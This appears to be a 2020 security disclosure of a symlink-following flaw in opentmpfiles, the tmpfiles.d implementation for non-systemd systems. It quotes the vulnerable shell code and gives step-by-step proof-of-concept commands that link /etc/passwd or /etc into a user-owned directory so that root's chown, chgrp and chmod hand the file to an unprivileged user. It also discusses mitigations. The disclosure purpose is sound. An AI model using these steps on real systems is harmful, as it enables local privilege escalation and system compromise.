posted 2020-10-27
The opentmpfiles program implements the tmpfiles.d specification for POSIX systems that do not run systemd. When processing file and directory entries, opentmpfiles calls chown, chgrp, and chmod to change the corresponding attributes of the target path. An attacker can replace either the target or one of its parents with a symlink, and the next time that opentmpfiles is run, the symlink controlled by the attacker will be followed.
The tmpfiles.d
specification contains several entry types that support
mode
, user
, and group
arguments. For simplicity, we focus on the widespread d
type that creates and then sets permissions and ownership on a
directory; however, many of the other entry types are vulnerable in
exactly the same way. To quote the specification,
d
Create a directory. The mode and ownership will be adjusted if specified. Contents of this directory are subject to time based cleanup if the age argument is specified.
So, an entry of the form d /directory/to/create 0755 mjo
mjo
would create /directory/to/create
with mode 0755
and owner mjo:mjo
.
In opentmpfiles, the d
entries are implemented in the tmpfiles script:
_d() {
# Create a directory if it doesn't exist yet
local path=$1 mode=$2 uid=$3 gid=$4
if [ $CREATE -gt 0 ]; then
createdirectory "$mode" "$uid" "$gid" "$path"
_restorecon "$path"
fi
}
createdirectory() {
local mode="$1" uid="$2" gid="$3" path="$4"
[ -d "$path" ] || dryrun_or_real mkdir -p "$path"
if [ "$uid" = - ]; then
uid=root
fi
if [ "$gid" = - ]; then
gid=root
fi
if [ "$mode" = - ]; then
mode=0755
fi
dryrun_or_real chown $uid "$path"
dryrun_or_real chgrp $gid "$path"
dryrun_or_real chmod $mode "$path"
}
dryrun_or_real() {
local dryrun=
if [ $DRYRUN -eq 1 ]; then
dryrun=echo
fi
$dryrun "$@"
}
Ultimately, the target of a d
entry has
chown, chgrp,
and chmod called on it—all in
succession. These programs all follow symlinks, both in the
terminal path component and in its parents. This is straightforward
to exploit as the user who owns the parent of a d
type
entry. Take for example the following tmpfiles.d entry, in
/etc/tmpfiles.d/exploit.conf:
When opentmpfiles is run, ownership of that directory is given to my mjo user:
mjo $ sudo rc-service opentmpfiles-setup start
mjo $ ls -ld /var/lib/opentmpfiles-exploit
drwxr-xr-x 2 mjo mjo 4096 Oct 26 08:57 /var/lib/opentmpfiles-exploit
At that point, I'm free to introduce whatever symlinks I want,
mjo $ ln -sf /etc/passwd /var/lib/opentmpfiles-exploit/foo
and then restart opentmpfiles (which would happen after a reboot, anyway):
mjo $ sudo rc-service opentmpfiles-setup restart
* WARNING: you are stopping a boot service
* Setting up tmpfiles.d entries ...
mkdir: cannot create directory ‘/var/lib/opentmpfiles-exploit/foo’: File [ ok ]
The chown, chgrp, and chmod have all followed my symlink, and now I own /etc/passwd:
mjo $ ls -l /etc/passwd
-rwxr-xr-x 1 mjo mjo 2.1K 2020-10-17 08:43 /etc/passwd
Note that the specification does not state whether or not symlinks
should be followed for d
entries. It does however state
that they should not be followed for other entries,
such as f
.
When the symlink is in the terminal component of the path, this attack can be mitigated by passing --no-dereference to chown and chgrp. There is no corresponding flag for chmod, however—and the problems with chown and chgrp are more insidious: you can place symlinks elsewhere in the path. Consider the following example, again in /etc/tmpfiles.d/exploit.conf:
d /var/lib/opentmpfiles-exploit 0755 mjo mjo
d /var/lib/opentmpfiles-exploit/a 0755 mjo mjo
d /var/lib/opentmpfiles-exploit/a/passwd 0755 mjo mjo
After starting opentmpfiles (there is also a race condition as it's starting the first time…), I'm free to replace the directory a with a symlink:
mjo $ sudo rc-service opentmpfiles-setup start
mjo $ rm -r /var/lib/opentmpfiles-exploit/a
mjo $ ln -s /etc /var/lib/opentmpfiles-exploit/a
Now, restarting opentmpfiles will follow
the a → /etc
symlink, even when
chown and
chgrp are passed the
--no-dereference flag:
mjo $ sudo rc-service opentmpfiles-setup restart
* WARNING: you are stopping a boot service
* Setting up tmpfiles.d entries ...
mkdir: cannot create directory ‘/var/lib/opentmpfiles-exploit/a/passwd’: File exists
mjo $ ls -l /etc/passwd
-rwxr-xr-x 1 mjo mjo 2.1K 2020-10-17 08:43 /etc/passwd
There is no good way to mitigate this as an end user, except to
disable opentmpfiles and ensure that your
OpenRC service scripts create the directories they need
themselves. In particular, the Linux kernel's
fs.protected_symlinks
sysctl does not
prevent this attack.
There is a fundamentally insurmountable problem here: there is no safe, POSIX-compatible API that lets root change the attributes of user-controlled data. As a result, the tmpfiles.d specification can only be implemented safely on recent Linux systems, where systemd's own tmpfiles program is intended to run. On a POSIX system, if you want to modify user-owned files in a user-owned directory, then you must drop privileges to that user before proceeding. This is at odds with the design of tmpfiles.d, making a POSIX-compatible implementation a quixotic endeavor.
The opentmpfiles project is dead. If you're lucky, the systemd tmpfiles implementation will run on your system: it's more portable than it was, but still not as portable as the rest of OpenRC. On Gentoo, sys-apps/systemd-tmpfiles can be built and installed separately.